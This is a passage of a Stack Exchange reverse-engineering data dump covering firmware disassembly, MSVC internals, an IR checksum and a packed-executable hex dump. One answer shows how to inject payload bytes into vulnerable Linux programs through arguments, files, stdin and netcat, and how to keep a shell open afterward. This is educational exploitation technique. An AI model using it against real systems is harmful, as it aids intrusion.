File][3]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="18075" LastActivityDate="2016-11-15T07:46:40.783" Title="How to dissassemble Motorola/Freescale/NXP PowerQUICC excutable" Tags="|ida|disassembly|motorola|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13924" PostTypeId="2" ParentId="13923" CreationDate="2016-11-14T12:53:17.440" Score="3" Body="&lt;p&gt;It looks like that you should choose PowerPC big endian. After loading the binary the menu which contains &quot;MPC860&quot; will appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that image probably should be rebased for the proper disassembling. I loaded modem.bin into Ida and I see some reasonable code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Small addition #0&lt;/em&gt;: when I rebase this image to &lt;code&gt;0xFFC40130&lt;/code&gt; I see some very consistent pointers to strings in the code, which means that probably this should be address to rebase the image to. &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Small addition #1&lt;/em&gt;: I'm not sure that the map file is really related to this binary - some of the functions in it are not match to the function prologue addresses.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Small addition #2&lt;/em&gt;: I can confirm that the code is not packed, and that the loading address is correct.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Small addition #3&lt;/em&gt;: Just for completeness, &lt;code&gt;r13&lt;/code&gt; value is &lt;code&gt;0xD410&lt;/code&gt; (Options --&gt; General --&gt; Analysis --&gt;Processor specific analysis options --&gt;SDA (r13) address) . As far as I can see setting this value is very much compatible with addresses of the strings used for printing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-11-15T07:46:40.783" LastActivityDate="2016-11-15T07:46:40.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13925" PostTypeId="1" AcceptedAnswerId="14059" CreationDate="2016-11-14T12:53:26.213" Score="0" ViewCount="342" Body="&lt;p&gt;I'm reversing some old game (for fun, to restore its priceless rules). It's been most probably linked statically to MSVCRT, some very old version. Also it uses heavily WinAPI (like ODCBC drivers, crypto libs, multi-threading and network stuff).&#xA;So far I found one very weird class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DNameNode &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I see from reversed code, it's a base class for some other structures, and it uses some synchronization constructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I couldn't find any info about those &lt;strong&gt;DNameNode&lt;/strong&gt;s. Do you have any ideas, what's are they used for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guessed c.tor of some of (guessed) derived class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DNameNode *__thiscall sub_4182BD(DNameNode *this)&#xA;{&#xA;  DNameNode *v1; // ST00_4@1&#xA;&#xA;  v1 = this;&#xA;  DNameNode::DNameNode(this);&#xA;  *(_DWORD *)v1 = &amp;amp;off_45F538;&#xA;  *((_DWORD *)v1 + 3) = -1;&#xA;  *((_DWORD *)v1 + 2) = 0;&#xA;  return v1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17968" LastEditorUserId="17968" LastEditDate="2016-11-14T13:05:12.370" LastActivityDate="2016-11-28T13:28:56.697" Title="DNameNode class from MSVC binaries" Tags="|ida|windows|hexrays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13926" PostTypeId="1" AcceptedAnswerId="13927" CreationDate="2016-11-14T14:57:56.793" Score="1" ViewCount="2113" Body="&lt;p&gt;Is there a way one can actually view system files and even apps on file manager of a windows phone the way we do with Android phones. I would love to do this so much on my Nokia Lumia 435 running on Windows 8.1. Reason I want to view where Opera mini hides its downloads. Imagine when I download files on Opera Mini and later try to move them to &quot;Downloads&quot; folder they become get there when their size is 0kb &lt;/p&gt;&#xA;" OwnerUserId="18093" LastActivityDate="2016-11-21T09:54:36.097" Title="How to view system files on Windows Phone" Tags="|windowsphone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13927" PostTypeId="2" ParentId="13926" CreationDate="2016-11-14T15:18:15.547" Score="1" Body="&lt;p&gt;First of all I think you may have to force an upgrade of the Windows to Windows 10 using an app called Upgrade Advisor. The Upgrade is like 1.4 GB so you will need to do that on WiFi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading you see new apps on your phone like &quot;File Explorer&quot; We will use it but later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all &lt;strong&gt;using a Windows PC we will create a shortcut&lt;/strong&gt; from the computer and copy it to the phone to use it later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - In your Windows PC, create a shortcut to the C: drive anywhere:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6AnjH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6AnjH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Copy that shortcut to the phone's storage root:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - In the phone, open &quot;File Explorer&quot; app, and from the hamburger menu, choose &quot;This Device&quot;. You should see the shortcut there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/czvgy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/czvgy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 - Click on the shortcut, and you're done.You will then be taken to the root of C: drive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if want to browse to Opera Mini folder try this tip got to applications folders are located at C:\Data\PROGRAMS&lt;/p&gt;&#xA;" OwnerUserId="18093" LastEditorUserId="18093" LastEditDate="2016-11-21T09:54:36.097" LastActivityDate="2016-11-21T09:54:36.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13928" PostTypeId="1" AcceptedAnswerId="13929" CreationDate="2016-11-14T16:13:51.497" Score="20" ViewCount="36752" Body="&lt;p&gt;I am looking for a complete list of the ways to inject a payload in a vulnerable program in a Unix (Linux) context depending on the inputs opened by the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are several tricks and tips but an exhaustive list would definitely help here.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2022-10-25T10:32:40.453" Title="Managing inputs for payload injection?" Tags="|linux|exploit|binary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13929" PostTypeId="2" ParentId="13928" CreationDate="2016-11-14T16:17:19.533" Score="31" Body="&lt;p&gt;Injecting payload and hexadecimal addresses through program inputs depends on the type of input you get. Here is a list of all the possible inputs and the way to do it with both a pure shell environment and from within &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Getting inputs from &lt;code&gt;char *argv[]&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;In this case, the arguments are read from the initial command line, so the most convenient thing is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./program $(echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;code&gt;gdb&lt;/code&gt;, you need to pass the arguments through the &lt;code&gt;run&lt;/code&gt; command line like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run $(echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Getting inputs from a file&lt;/h1&gt;&#xA;&lt;p&gt;Here, you have no other choice but write in the file and then feed your program with this file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./program ./myfile.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And, within &lt;code&gt;gdb&lt;/code&gt;, it should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run myfile.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, outside of &lt;code&gt;gdb&lt;/code&gt; you can rewrite the content of the file and run your program again and again in &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Getting inputs from &lt;code&gt;stdin&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;Getting the input through &lt;code&gt;stdin&lt;/code&gt; can be achieve through a wide variety of functions such as &lt;code&gt;fgets()&lt;/code&gt;, &lt;code&gt;scanf()&lt;/code&gt;, &lt;code&gt;getline()&lt;/code&gt;, &lt;code&gt;read()&lt;/code&gt; and others. It raises a few problems because the program stop while executing and wait to be fed with characters. And, you would prefer to just have one feed at the beginning to try your stuff and see the result. Let see how to deal with this input.&lt;/p&gt;&#xA;&lt;p&gt;In case you have to deal with several inputs (eg login, password, ...), you need to use separators between the inputs. Usually the separator between each input is just a newline character (&lt;code&gt;\n&lt;/code&gt; or &lt;code&gt;\r&lt;/code&gt; depending on the system you are in).&lt;/p&gt;&#xA;&lt;p&gt;Now, you have two ways of doing to feed the &lt;code&gt;stdin&lt;/code&gt;. Either you go through a file, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; cat ./mycommands.txt | ./program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;stdin&lt;/code&gt; requires to run the command either through a file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run &amp;lt; ./mycommands.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And do as said in the previous case.&lt;/p&gt;&#xA;&lt;p&gt;The other option is to pipe the output of a command to the &lt;code&gt;stdin&lt;/code&gt; of the program like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot; | ./program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;code&gt;gdb&lt;/code&gt; you can use the &lt;code&gt;bash&lt;/code&gt; &lt;a href=&quot;https://www.gnu.org/software/bash/manual/bashref.html#Process-Substitution&quot; rel=&quot;noreferrer&quot;&gt;process substitution&lt;/a&gt; &lt;code&gt;&amp;lt;(cmd)&lt;/code&gt; trick:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run &amp;lt; &amp;lt;(echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way is much quicker than effectively creating a named pipe and branch your program on it as recommended on several websites. Creating the named pipe outside of &lt;code&gt;gdb&lt;/code&gt; requires a lot of unnecessary steps where you have it instantly with the previous technique.&lt;/p&gt;&#xA;&lt;p&gt;Note also that, some people are using &lt;code&gt;&amp;lt;&amp;lt;$(cmd)&lt;/code&gt; like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run &amp;lt;&amp;lt;&amp;lt; $(echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, this last technique seems to filter out all NULL bytes (for whatever reason), so you should prefer the first one (especially if you want to pass NULL bytes).&lt;/p&gt;&#xA;&lt;h1&gt;Getting inputs from network&lt;/h1&gt;&#xA;&lt;p&gt;Here, you need to use another tool called &lt;code&gt;netcat&lt;/code&gt; (the Swiss army knife of networking), often shortened into &lt;code&gt;nc&lt;/code&gt;. Basically, if your vulnerable program is listening on &lt;code&gt;localhost:666&lt;/code&gt; then the command line would be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot; | nc -vv localhost 666&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Within &lt;code&gt;gdb&lt;/code&gt;, the point will be to run (&lt;code&gt;r&lt;/code&gt;) the program and to connect to it from another terminal.&lt;/p&gt;&#xA;&lt;h1&gt;Keep the &lt;code&gt;stdin&lt;/code&gt; open after injection&lt;/h1&gt;&#xA;&lt;p&gt;Most of the techniques for &lt;code&gt;stdin&lt;/code&gt; will send the exploit string to the program which will end shortly after the termination of the input. The best way to keep it open afterward and get an active shell is to add a &lt;code&gt;cat&lt;/code&gt; waiting for input on its &lt;code&gt;stdin&lt;/code&gt;. It should look like this if you go though a file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; (cat ./mycommands.txt; cat) | ./program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, like this if you want a shell command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; (echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;; cat) | ./program&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, finally, if you are going through the network:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; (echo -ne &amp;quot;\xef\xbe\xad\xde&amp;quot;; cat) | nc -vv localhost 666&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that I did not find how to do with &lt;code&gt;gdb&lt;/code&gt; to keep the input open once the payload has been delivered.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Update about Python3&lt;/h1&gt;&#xA;&lt;p&gt;You may have noticed that Python changed its way of handling raw bytes when going through the function &lt;code&gt;print()&lt;/code&gt;. As an example you can have this kind of behavior (here is a comparison of the Python2 and Python3 behavior):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; python2.7 -c 'print(&amp;quot;\xde\xad\xbe\xef&amp;quot;)' | xxd&#xA;00000000: dead beef 0a                                ....&#xA;#&amp;gt; python3.9 -c 'print(&amp;quot;\xde\xad\xbe\xef&amp;quot;)' | xxd&#xA;00000000: c39e c2ad c2be c3af 0a                   .........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you noticed, in Python3, the output of &lt;code&gt;print()&lt;/code&gt; is expressed in UTF-8 characters which change a lot the result of the command. This is not really convenient when you try to send a sequence of selected bytes to the program you attack.&lt;/p&gt;&#xA;&lt;p&gt;So, if you are stuck with a system that offers nothing but a Python3 interpreter here is the command line to use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python3.9 -c 'import sys; sys.stdout.buffer.write(b&amp;quot;\xde\xad\xbe\xef&amp;quot;)' | xxd&#xA;00000000: dead beef                                ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may notice that the command in Python3 is quite more complex than the one in Python2 which somehow ruin a bit the simplicity of the original command. If someone has a shorter and simpler way to achieve this, please drop a comment to this article, I am really looking forward it!&lt;/p&gt;&#xA;&lt;p&gt;An alternate way of doing it can use the &lt;code&gt;echo&lt;/code&gt; command like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; echo -ne &amp;quot;\xde\xad\xbe\xef&amp;quot; | xxd&#xA;00000000: dead beef                                ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, you cannot use the usual Python syntax such as &lt;code&gt;&amp;quot;\x90&amp;quot; * 12 + &amp;quot;\xde\xad\xbe\xef&amp;quot;&lt;/code&gt; which can be annoying if you want to look for the proper padding.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2021-09-24T13:53:50.443" LastActivityDate="2021-09-24T13:53:50.443" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="13930" PostTypeId="1" CreationDate="2016-11-14T16:42:26.753" Score="3" ViewCount="3279" Body="&lt;p&gt;I am programming a little tool for patching. I found the microsoft update catalog, where all updates are stored, and I managed to look for some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem is now that the actual download link is behind a button, which opens a new window where I can't see the actual URL with the GET parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to intercept GET/POST requests through chrome but it didn't trigger the dev tools of chrome, since it opens a new window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button I am talking about is for example here: &lt;a href=&quot;https://www.catalog.update.microsoft.com/Search.aspx?q=MS16-141&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.catalog.update.microsoft.com/Search.aspx?q=MS16-141&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me out on this one and give me a link with the parameter which &lt;a href=&quot;https://www.catalog.update.microsoft.com/DownloadDialog.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.catalog.update.microsoft.com/DownloadDialog.aspx&lt;/a&gt; uses?&lt;/p&gt;&#xA;" OwnerUserId="18099" LastActivityDate="2016-12-16T07:45:32.977" Title="Possible to get the full url behind javascript button?" Tags="|javascript|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13932" PostTypeId="2" ParentId="13930" CreationDate="2016-11-14T19:08:57.307" Score="1" Body="&lt;p&gt;If you want to get the whole listing of updates, first you should write an xpath to get the uids of each download button, you should get a bunch of uids like &lt;code&gt;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, POST to &lt;code&gt;https://www.catalog.update.microsoft.com/DownloadDialog.aspx&lt;/code&gt; with &lt;code&gt;[{&quot;size&quot;:0,&quot;languages&quot;:&quot;&quot;,&quot;uidInfo&quot;:&quot;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&quot;,&quot;updateID&quot;:&quot;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&quot;}]&lt;/code&gt; should give you all the data you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain this data, just open a chrome window of one of the download buttons and open dev-tools on it, then just inspect the network traffic and check the request headers, that should be enough.&lt;/p&gt;&#xA;" OwnerUserId="18079" LastActivityDate="2016-11-14T19:08:57.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13933" PostTypeId="1" AcceptedAnswerId="13935" CreationDate="2016-11-14T19:39:09.903" Score="0" ViewCount="99" Body="&lt;p&gt;Today I have a question which may be a little uncertain. How would you &quot;port&quot; the Linux OS to a new platform? &#xA;For example; The nintendo 3ds or the PS4, are consoles which have been recently &quot;hacked&quot;, this means you can run your own unsigned code. So basically, hackers usually port Linux to demonstrate they have full control over the software (usually this is a &quot;Live&quot; version of linux since they still can't sign it so even though they can write it to the NAND the bootloader won't load it, since it only runs signed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess, I may be wrong, they just get a very stripped, linux kernel source code, modify things like the video output (since PC output is completely different from those consoles obviously) and compile it with a cross-compiler for that platform (well the same one they use to compile their programs), and they create some kind of &quot;loader&quot; which will load the OS into memory. Actually I'm just making assumptions from what I've seen, so obviously I'm blind in lots of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Pedro.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2016-11-15T14:21:02.843" LastActivityDate="2016-11-15T14:21:02.843" Title="How is linux loaded into a closed platform that has been hacked?" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13935" PostTypeId="2" ParentId="13933" CreationDate="2016-11-15T08:22:27.627" Score="1" Body="&lt;p&gt;Your question could be split into two:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do people load a new OS on a closed platform that has been &quot;hacked&quot;?&lt;/li&gt;&#xA;&lt;li&gt;How is Linux ported to new systems? (your actual title)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Answers below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In order to run custom OS on a closed device, you need to somehow execute a loader code on a highest possible privilege level. What is a loader? Loader is a small program that performs initial CPU and peripherals configuration, copies some from an external memory device into memory and passes control to it. In case of Linux on game consoles, loader must copy a Linux image to memory, set boot parameters (boot device, available memory ranges — varies with the platform) and run the kernel. Usually loaders operate in privileged mode. On most CPUs with memory protection it's only enabled by OS kernel after the loader has already run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The process of porting Linux can be different depending on whether or not the processor is already supported by the kernel. If the processor is not supported, you'll need to start from the basics — implement base functions such as memory setup, context save/restore, hardware timer support and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the processor is supported and there is a Linux kernel for a similar device, the process is a bit easier since it's likely you'll only need to implement a specific platform support — the device you plan to run Linux on likely has a power management controller, various low-speed buses (I2C, SPI) connected to sensors and controllers. Modern Linux kernels use device trees to describe the configuration of the specific platform. Device trees provide a way to instantiate existing device drivers and connect them to a specific hardware configuration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2016-11-15T08:22:27.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13936" PostTypeId="1" CreationDate="2016-11-15T09:38:25.180" Score="0" ViewCount="929" Body="&lt;p&gt;I am reverse engineering IR protocol of Daikin A/C. AC sends the whole current state of remote on each key press. Data sent is 8 byte long, last 4 bits seem to be the some kind of error checking.&#xA;First byte never changes, it's always 01101000!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time/Minutes changes in 3d byte (time 12:00am from 00 minutes to 10 minutes) (button On/off, it's 8th byte first bit before checksum):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01101000 01000100 00000000 00000000 00000000 00000000 00000100 001 1 1001&#xA;01101000 01000100 10000000 00000000 00000000 00000000 00000100 001 1 0101&#xA;01101000 01000100 01000000 00000000 00000000 00000000 00000100 001 1 1101&#xA;01101000 01000100 11000000 00000000 00000000 00000000 00000100 001 1 0011&#xA;01101000 01000100 00100000 00000000 00000000 00000000 00000100 001 1 1011 &#xA;01101000 01000100 10100000 00000000 00000000 00000000 00000100 001 1 0111 &#xA;01101000 01000100 01100000 00000000 00000000 00000000 00000100 001 1 1111 &#xA;01101000 01000100 11100000 00000000 00000000 00000000 00000100 001 1 0000 &#xA;01101000 01000100 00010000 00000000 00000000 00000000 00000100 001 1 1000 &#xA;01101000 01000100 10010000 00000000 00000000 00000000 00000100 001 1 0100 &#xA;01101000 01000100 00001000 00000000 00000000 00000000 00000100 001 1 0101 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Temp (7th byte) from 20 to 30 (time 12:00am): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01101000 01000100 00000000 00000000 00000000 00000000 10000100 0010 0100 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 01000100 0010 1100 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 11000100 0010 0010 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 00100100 0010 1010 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 10100100 0010 0110 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 01100100 0010 1110 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 11100100 0010 0001 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 00010100 0010 1001 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 10010100 0010 0101 &#xA;01101000 01000100 00000000 00000000 00000000 00000000 00001100 0010 0100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fan speed (2nd byte, last 4bits) from auto to 3 (time 12:00am): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01101000 0100 1000 00000000 00000000 00000000 00000000 00001100 0010 1000 &#xA;01101000 0100 0001 00000000 00000000 00000000 00000000 00001100 0010 0001 &#xA;01101000 0100 0010 00000000 00000000 00000000 00000000 00001100 0010 0010 &#xA;01101000 0100 0100 00000000 00000000 00000000 00000000 00001100 0010 0100 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18105" LastActivityDate="2019-08-09T09:35:50.307" Title="Daikin A/C 4bit CRC/Checksum" Tags="|binary-analysis|protocol|crc|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13938" PostTypeId="2" ParentId="13912" CreationDate="2016-11-15T13:19:16.100" Score="2" Body="&lt;p&gt;Just out of curiosity i downloaded crinkler &#xA;compiled this code with visual c++&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;int WINAPI WinMain(__in HINSTANCE,__in_opt HINSTANCE,__in LPSTR,__in int) {&#xA;    MessageBox(NULL, &quot;Testing Crinky&quot;, &quot;CRINKLE&quot;, MB_OK);&#xA;    ExitProcess(NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and linked the object file  with crinkler20.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl -c /nologo /W4 /O1 /Zi /analyze *.cpp&#xA;&#xA;crinkler.exe /ENTRY:WinMain crinky.obj kernel32.lib user32.lib /CRINKLER /HASHTRIES:300 /COMPMODE:SLOW /ORDERTRIES:4000 /SUBSYSTEM:windows /out:crinky.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it created a 459 byte exe which runs fine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ls -la crinky.exe&#xA;-rwxrwxrwx  1 HP 0 459 2016-11-15 15:25 crinky.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mM86g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mM86g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;opened it in a hexeditor to see whats inside it appears crinkler employs &#xA;pe header damaging techniques (it seems to use the peheader to stuff code )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a hexedit view (from hxd)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  4D 5A 32 30 50 45 00 00 4C 01 00 00 01 DB 61 7F  MZ20PE..L....Ûa.&#xA;00000010  10 D0 17 73 75 47 EB F9 08 00 02 00 0B 01 11 C9  .Ð.suGëù.......É&#xA;00000020  45 85 C0 79 1F 01 D3 50 F7 E2 90 3D 5C 00 00 00  E…Ày..ÓP÷â.=\...&#xA;00000030  F7 F3 39 C1 19 DB EB 48 00 00 40 00 04 00 00 00  ÷ó9Á.ÛëH..@.....&#xA;00000040  04 00 00 00 0F A3 2D 29 01 40 00 8D 04 00 EB CE  .....£-).@....ëÎ&#xA;00000050  00 00 00 00 EB B6 42 06 40 00 00 00 53 31 ED BB  ....ë¶B.@...S1í»&#xA;00000060  02 00 00 00 90 BE 14 01 40 00 6A 01 58 BF 00 00  .....¾..@.j.X¿..&#xA;00000070  42 00 B1 00 90 57 EB 12 00 00 00 00 00 00 00 00  B.±..Wë.........&#xA;00000080  5A 72 07 92 29 D1 04 00 29 D0 60 AD 01 F8 74 2C  Zr.’)Ñ..)Ð`..øt,&#xA;00000090  6A 0A 5A 89 14 54 89 54 24 10 AD 31 ED 4D 45 01  j.Z‰.T‰T$..1íME.&#xA;000000A0  C0 72 FB 74 AF 60 AC 88 C2 32 07 6B C0 6F 02 87  Àrût¯`¬ˆÂ2.kÀo.‡&#xA;000000B0  00 00 00 00 48 4F 00 D2 72 EF 75 F9 BF CE 00 42  ....HO.Òrïuù¿Î.B&#xA;000000C0  00 B9 F5 E9 1F 03 73 0C F3 66 AB 0A 06 61 8D 76  .¹õé..s.óf«..a.v&#xA;000000D0  0C 7B B7 C3 F7 F1 8D 3C 57 89 E9 31 C0 AE 74 04  .{·Ã÷ñ.&amp;lt;W‰é1À®t.&#xA;000000E0  00 07 75 02 41 41 0F B6 14 07 D3 E2 01 54 84 34  ..u.AA.¶..Óâ.T„4&#xA;000000F0  48 7A F3 85 DB 7F 0D D0 2C 1F 75 03 D0 14 1F F7  Hzó…Û..Ð,.u.Ð..÷&#xA;00000100  D3 FE 04 1F 61 46 EB 95 E8 6A A6 38 C6 6F 82 E9  Óþ..aFë•èj¦8Æo‚é&#xA;00000110  1B 13 09 4F 55 FF BD FF FE FF FF 9A 00 20 80 90  ...OUÿ½ÿþÿÿš. €.&#xA;00000120  32 FF BD FF FF FF FF DF 00 44 BE 63 EE 28 9E 30  2ÿ½ÿÿÿÿß.D¾cî(ž0&#xA;00000130  07 9C 4B 16 0D 6B A8 05 A4 65 86 46 50 14 FE B3  .œK..k¨.¤e†FP.þ³&#xA;00000140  42 F6 F7 88 0C 1A 94 68 